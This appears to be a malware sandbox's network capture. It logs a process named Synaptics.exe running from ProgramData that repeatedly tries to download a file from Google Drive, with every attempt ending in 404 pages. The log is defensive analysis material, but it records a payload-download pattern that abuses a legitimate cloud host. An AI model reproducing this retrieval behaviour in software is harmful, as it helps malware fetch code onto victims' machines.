Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49711	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-DP45HBvbeauP9SRilBzHfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49719	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:13 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:20:13 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7c1RIQ65_IbRBei-bYkWLCvfPL5A8HRJn4fjEY57eeZLiclcp0AinPPtIuN704sk3FgvBI7_s Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:13 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-l26SbvqrjGi9P_V-sEIf0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp; expires=Fri, 04-Jul-2025 19:20:13 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:13 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 39 78 31 56 2d 54 32 51 78 44 6d 62 6d 61 79 5f 37 42 4c 52 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="y9x1V-T2QxDmbmay_7BLRQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:20:13 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49717	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5bx5cy_vx25jXFZfpc7JIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49716	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-1LiWLlf4et8GIvl13ROm2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49718	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:13 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:20:14 UTC	1594	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5ZpfNS5ljRJVoZsX7wyXoulkwLm1IwqrM5ZNZABPzz0QBkMXlArlrqwfEHxSK8WXRz Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:13 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ba_RpaOdxnNaiwyeLLDLOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc; expires=Fri, 04-Jul-2025 19:20:13 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:14 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 66 63 6c 4f 58 4f 76 34 5f 38 65 37 6a 32 41 47 54 41 6e 51 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rfclOXOv4_8e7j2AGTAnQw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:20:14 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49725	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:14 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:20:15 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC48eJJMlhln94H0s4mfzr4aStm1M-Q-q5zu9xx2JC6eFyW9S42TEzWsSwHIicGADPEB0P7VyZU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:14 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Vwyb4vFNY1QTr6vt2lllgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC; expires=Fri, 04-Jul-2025 19:20:14 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:15 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 4a 32 34 4c 62 36 5f 61 2d 69 6f 61 73 33 38 34 38 4f 76 4d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WJ24Lb6_a-ioas3848OvMw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:20:15 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49726	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Na3aAR_kGNKvn9OrjisyOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49724	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:20:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rVHdauisIvTTeqHKh7Ea6w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49728	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:14 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
2025-01-02 19:20:15 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4QOgKIxSpVIzyxG6XBNgbkgtmBdCCQrJrdhdJ-NZyOifeDOv4phz4mH8PD3Uv1CbNGDYyMKXk Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:14 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7UH8MD56Lw_sNI6DR7szKw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:15 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:15 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 78 4e 76 31 41 67 4b 53 75 31 71 79 4e 42 7a 73 56 52 51 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="qxNv1AgKSu1qyNBzsVRQpg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:15 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49729	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:16 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49731	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc

